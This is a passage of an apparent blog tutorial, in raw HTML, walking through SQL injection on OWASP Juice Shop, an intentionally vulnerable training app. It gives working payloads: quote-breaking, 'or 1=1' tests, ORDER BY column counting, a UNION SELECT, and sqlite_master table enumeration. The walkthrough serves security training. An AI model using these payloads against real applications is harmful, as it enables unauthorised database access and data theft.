  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;EN-US&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;b&gt;Why Juice Shop?&lt;/b&gt; &lt;br /&gt;
OWASP Juice Shop is an intentionally insecure webapp for security training written entirely in Javascript which encompasses the entire OWASP Top Ten and other severe security flaws.&lt;br /&gt;
&lt;br /&gt;
Apart from the hacker and awareness training use case, pentesting proxies or security scanners can use Juice Shop as a &quot;guinea pig&quot;-application to check how well their tools cope with Javascript-heavy application frontends and REST APIs.&amp;nbsp; &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim7ccp83FBmkXKyexR6LGKGSTRGUEHcxsjEGGcaJr1h1QU24xYLfFVzy0-p0KJhJ5_rCDV0nZx_BLLhaBENOYrVW4Lh9kbwBGg1dVhHayzvrbJfNnPCxCCC69Pc3991tj9HkN9NqB6/s1600/JuiceShop_Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim7ccp83FBmkXKyexR6LGKGSTRGUEHcxsjEGGcaJr1h1QU24xYLfFVzy0-p0KJhJ5_rCDV0nZx_BLLhaBENOYrVW4Lh9kbwBGg1dVhHayzvrbJfNnPCxCCC69Pc3991tj9HkN9NqB6/s200/JuiceShop_Logo.png&quot; width=&quot;166&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;
&lt;b&gt;Architecture Overview&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Frontend &lt;/b&gt;- Angular.js framework is used to create a so-called Single Page Application.&lt;br /&gt;
&lt;b&gt;User Interface&lt;/b&gt; - layout is provided by Twitter&#39;s Bootstrap framework.&lt;br /&gt;
&lt;b&gt;Backend&lt;/b&gt;
 - An Express.js application hosted in a Node.js server delivers the 
client-side code to the browser. It also provides the necessary backend 
functionality to the client via a RESTful API.&lt;br /&gt;
&lt;b&gt;Database &lt;/b&gt;- As an underlying database a light-weight SQLite was chosen, because of its file-based nature.&lt;br /&gt;
&lt;b&gt;Push
 Notifications&lt;/b&gt; - shown when a challenge was successfully hacked, are 
implemented via WebSocket protocol using socket.io which is the most 
prominent Javascript library in that space.&lt;br /&gt;
&lt;b&gt; Registration&lt;/b&gt; - The 
application also offers convenient user registration via OAuth 2.0 so 
users can sign in with their Google accounts. &lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO0VA8Q93e25bRD-LqOzhWLrloiWoEr9pX2K82pGxiEqSPsvhzQaRxDjla0ORU7eWK_mBi35U-9JvMV1YA7DoWCArH4Mg8okpuCwiF1yRqohFt81RHLMevP6dUvvD9Y2YbFEAGzrJL/s1600/Architecture.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO0VA8Q93e25bRD-LqOzhWLrloiWoEr9pX2K82pGxiEqSPsvhzQaRxDjla0ORU7eWK_mBi35U-9JvMV1YA7DoWCArH4Mg8okpuCwiF1yRqohFt81RHLMevP6dUvvD9Y2YbFEAGzrJL/s640/Architecture.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;
For the demo below I have used the&amp;nbsp;&lt;a href=&quot;https://heroku.com/&quot; target=&quot;_blank&quot;&gt;Heroku&lt;/a&gt; Cloud Application Platform to build and run the application in the cloud.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Under The Hood&lt;/b&gt;&lt;br /&gt;
When trying to find security vulnerabilities on an application its important to try understand what&#39;s going on under the hood. Below we have a search function, this function allows us to search for products by putting in either the full products name/description or part of it. &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbYD4Y85A0SNwgQ39E_44RSWqE0pzVcwNbZRKbvy-7H90zZgLarZxI7gibvjD78RU_4VOKil8BZCwxFSoghPcn4H-PduHNkhKwsDthj0_adzm-mPCIkwBhP0UYJcPsep-I2ZNnSDZo/s1600/Search.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbYD4Y85A0SNwgQ39E_44RSWqE0pzVcwNbZRKbvy-7H90zZgLarZxI7gibvjD78RU_4VOKil8BZCwxFSoghPcn4H-PduHNkhKwsDthj0_adzm-mPCIkwBhP0UYJcPsep-I2ZNnSDZo/s640/Search.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
The information returned by the application must be stored somewhere 
right? There must also be a SQL query used that takes the customers 
search selection to return results? What I try to do is visualize what 
this query might look like,&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: red;&quot;&gt; SELECT * FROM Products WHERE name LIKE %test% or description LIKE %test%&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Breaking The Query and Fixing What We Broke&lt;/b&gt;&lt;br /&gt;
As
 we are looking for possible security vulnerabilities, the next step is 
to check if we can inject some meaningful data that will produce an 
unexpected output. We think that the developer is using some type of SQL
 query to return the data but we don&#39;t know how they are taking that 
data in from the user to construct the query (this is a deliberately 
vulnerable application so I&#39;m pretty sure they aren&#39;t using parameterized
 queries or stored procedures ;) Common techniques for opening and 
closing String values include &#39;, &quot;,&#39;),&quot;),)),,so we need to try and guess
 what the developer is using,is it. It could be a number of different ways..&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM Products WHERE name LIKE &#39;%test%&#39; OR description LIKE &#39;%test%&#39;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM Products WHERE name LIKE &quot;%test%&quot; OR description LIKE &quot;%test%&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM Products WHERE name LIKE (&#39;%test%&#39;) OR description LIKE (&#39;%test%&#39;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM Products WHERE name LIKE (&quot;%test%&quot;) OR description LIKE (&quot;%test%&quot;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM Products WHERE name LIKE (%test%) OR description LIKE (%test%)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM Products WHERE name LIKE ((%test%) OR description LIKE (%test%))&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM Products WHERE ((name LIKE &#39;%test%&#39; OR description LIKE &#39;%test%&#39;))&lt;/span&gt;&amp;nbsp; 😁&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
In
 the Search field we can try to inject these meaningful characters to 
see if we can cause some unexpected output i.e. an error. After some 
trial and error we can see highlighted below that &#39;) has returned
 a SQLITE syntax error (in two places actually). This confirms that the developer is using &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: red;&quot;&gt; {&quot;error&quot;:{&quot;message&quot;:&quot;SQLITE_ERROR: near \&quot;)\&quot;: syntax error&quot;,&quot;stack&quot;:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ....&quot;SQLITE_ERROR&quot;,&quot;sql&quot;:&quot;SELECT * FROM Products WHERE ((name LIKE &#39;%&#39;)%&#39;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OR description LIKE &#39;%&#39;)%&#39;) AND deletedAt IS NULL)ORDER BY name&quot;}}&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Now
 that the query has been broken, we need to escape the developers query 
so that we can construct our own query and execute it. We can use 
comments to close of our query, in other words everything to the left of
 our comment will be interpreted as an SQL query. Comments can be --, #,
 /*, */ with or without space depending on the browser&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: red;&quot;&gt;SELECT * FROM Products WHERE ((name LIKE &#39;%&lt;span style=&quot;color: black;&quot;&gt;&#39;))--&lt;/span&gt;%&#39; OR description LIKE &#39;%&lt;/span&gt;&#39;))--&lt;span style=&quot;color: red;&quot;&gt;%&#39;)&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
As you can see above we were able to close the query using &#39;))--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;True and False Statements&lt;/b&gt;&lt;br /&gt;
We have &quot;fixed&quot; the query, next we can try to return some data using true and false statements.&lt;br /&gt;
We can start for searching for a product or description with the word &quot;text&quot;. This returns one result.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjenhKB_w2_vVzW5-whE06KCtjRZWE3_d5AQOlWev31MtV5k-hkwyt5R1lSbhZmSfPfY7bvXI5_kEmdxOdwkjTTf0ftlTuOkC5YOknlt1i3N-15qjea3QEj05aU-XJxhZpa1lC2ZOGS/s1600/Test.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;160&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjenhKB_w2_vVzW5-whE06KCtjRZWE3_d5AQOlWev31MtV5k-hkwyt5R1lSbhZmSfPfY7bvXI5_kEmdxOdwkjTTf0ftlTuOkC5YOknlt1i3N-15qjea3QEj05aU-XJxhZpa1lC2ZOGS/s640/Test.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot; , sans-serif; font-size: 11.0pt; line-height: 115%;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Next lets append a True statement, you can see in the image that it returns all of the results&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
True =&amp;gt; &lt;span style=&quot;color: red;&quot;&gt;test&#39;)) or 1=1 --&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9jHhATyLoep9yZRBOU_1YMnLHf0dN0Np1Em2BXcNrz1K4zcwvA9FzT6BmxXvm-3CgNLAPf_zWpkOnkb3FUgH73Ko9Fq4WGDBYcTwL5CBEJ9_P9xFCXgXdTmc8IWqFrl3b4f3KEjNV/s1600/True.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9jHhATyLoep9yZRBOU_1YMnLHf0dN0Np1Em2BXcNrz1K4zcwvA9FzT6BmxXvm-3CgNLAPf_zWpkOnkb3FUgH73Ko9Fq4WGDBYcTwL5CBEJ9_P9xFCXgXdTmc8IWqFrl3b4f3KEjNV/s640/True.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot; , sans-serif; font-size: 11.0pt; line-height: 115%;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
If we append a False statement, no results are returned&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
False =&amp;gt; &lt;span style=&quot;color: red;&quot;&gt;test&#39;)) or 1=0 --&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOhuRFqDicmq73Z43kTl2bP1qgE_bBqHXPt24Z1nSUVCa-3wVXqyc4jGDtKlSWbfA10ju6mhPjVqAcko6WJWlD_QwFMBwiKpB5W2pJ4mHlyLLs55H3fJu7prGOeXdzOfWvIq5ImSEG/s1600/False.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;166&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOhuRFqDicmq73Z43kTl2bP1qgE_bBqHXPt24Z1nSUVCa-3wVXqyc4jGDtKlSWbfA10ju6mhPjVqAcko6WJWlD_QwFMBwiKpB5W2pJ4mHlyLLs55H3fJu7prGOeXdzOfWvIq5ImSEG/s640/False.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div role=&quot;list&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times&amp;quot; , &amp;quot;times new roman&amp;quot; , serif;&quot;&gt;&lt;code class=&quot;wrappedText focusRow&quot; role=&quot;listitem&quot;&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;Column Enumeration&lt;/b&gt;&lt;br /&gt;
Before going any further we need to 
visualize how many columns are used by the developer in the query. Note:
 We aren&#39;t talking about the columns in the database but the columns 
being used in the query. So let&#39;s validate it, we can use a function 
called&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&amp;nbsp;&amp;nbsp; Try ORDER By 9-&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: red;&quot;&gt; test&#39;)) ORDER BY 9--&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5ovXTT8pPIdJSlCnBu2_Bm7EAiGExfG6YAOKhuNACdtQFqFLbErRh4mOpFc04ecQHqODeXAUkzRJm66mGHIguh_e9ErWuebmvsvvcOEhcMJs1QoW4-3v-3x5okVSgw539yOUNz_J6/s1600/OrderBy.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;174&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5ovXTT8pPIdJSlCnBu2_Bm7EAiGExfG6YAOKhuNACdtQFqFLbErRh4mOpFc04ecQHqODeXAUkzRJm66mGHIguh_e9ErWuebmvsvvcOEhcMJs1QoW4-3v-3x5okVSgw539yOUNz_J6/s640/OrderBy.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
Ok, so we get an out of range error - should be between 1 and 8&amp;nbsp; &lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh97v1v_TUHWoNATh5ODYL2_87Exhv2aEhc70dhL5BHRkD3_csYtdMk7eRDwovzr52aBRDarwPfzTrP1Xotx_rxrCTyXZA1PpbrPMi1QRYcop0F2sFlhVCtYh_Tm0i5tyFfVg904Rjj/s1600/OrderByError.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;86&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh97v1v_TUHWoNATh5ODYL2_87Exhv2aEhc70dhL5BHRkD3_csYtdMk7eRDwovzr52aBRDarwPfzTrP1Xotx_rxrCTyXZA1PpbrPMi1QRYcop0F2sFlhVCtYh_Tm0i5tyFfVg904Rjj/s640/OrderByError.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
Lets try ORDER BY 8--&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;test&#39;)) ORDER BY 8--&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYd82zaElwowDkS_Ih5g7gqoyLp3Tvw7pWdqMa-AzY1oJLb2jPijdWItShn3zhtt6sTZpbfJwfcK112xubbRzi089KSHYF5OgDQvr7vVKSBRr-7d1Ah1312iuD6ofH85dMtvJYBnQZ/s1600/OrderBy8.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;136&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYd82zaElwowDkS_Ih5g7gqoyLp3Tvw7pWdqMa-AzY1oJLb2jPijdWItShn3zhtt6sTZpbfJwfcK112xubbRzi089KSHYF5OgDQvr7vVKSBRr-7d1Ah1312iuD6ofH85dMtvJYBnQZ/s640/OrderBy8.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Columns returns 200 OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1fcWaecY_Rbo1nPrDPNHo0ngR1yCK5qYZF9GNAeOZBIMQh1R8TshHBgw2bD-DgddLs3Tt_LspdTXeh7kr0ixFVrgW3mRvM2loQhK9J64BYJWi9PGjRBz2iymRJwoDH2_NVPjdvEef/s1600/OrderBy8NoError.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;61&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1fcWaecY_Rbo1nPrDPNHo0ngR1yCK5qYZF9GNAeOZBIMQh1R8TshHBgw2bD-DgddLs3Tt_LspdTXeh7kr0ixFVrgW3mRvM2loQhK9J64BYJWi9PGjRBz2iymRJwoDH2_NVPjdvEef/s320/OrderBy8NoError.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
This means that the developer is using 8 columns in the query. So let&#39;s update our query&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;SELECT * FROM Products WHERE name LIKE ((&#39;%test%&#39;) or description LIKE (&#39;%test%&#39;))&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: red;&quot;&gt;SELECT col-1,col-2,col-3,col-4,col-5,col-6,col-7,col-8 FROM Products WHERE name LIKE ((&#39;%test%&#39;) or description LIKE (&#39;%test%&#39;))&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;
&lt;b&gt;Crafting Our Own Query&lt;/b&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
We cannot change this part of the query but we can change where the user input is being taken in&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Our own query can be appended using the UNION statement.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;Point to Remember:&lt;/b&gt; We need to balance our query with the applications query i.e. we need to have 8 columns also&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
We can try &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;test&#39;)) UNION SELECT 1,2,3,4,5,6,7,8--&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4dZOFibzU4e9E-R549TMAhrA-efKx_pxcvYJATy_Gjn_jTW8ul9nTUgkgNDiJCof4_d-794xEcdnGrHN8ijU78otTEk05Npd8PmFTv6xiW11frKBgOdsOo6wp5E1364FlnaK5-l6i/s1600/coulmnDisplayed.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;60&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4dZOFibzU4e9E-R549TMAhrA-efKx_pxcvYJATy_Gjn_jTW8ul9nTUgkgNDiJCof4_d-794xEcdnGrHN8ijU78otTEk05Npd8PmFTv6xiW11frKBgOdsOo6wp5E1364FlnaK5-l6i/s640/coulmnDisplayed.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Return Table Names&lt;/b&gt;&lt;br /&gt;
We can use the name from sqlite_master WHERE type=&#39;table&#39;-- to return the table names&lt;br /&gt;
&lt;br /&gt;
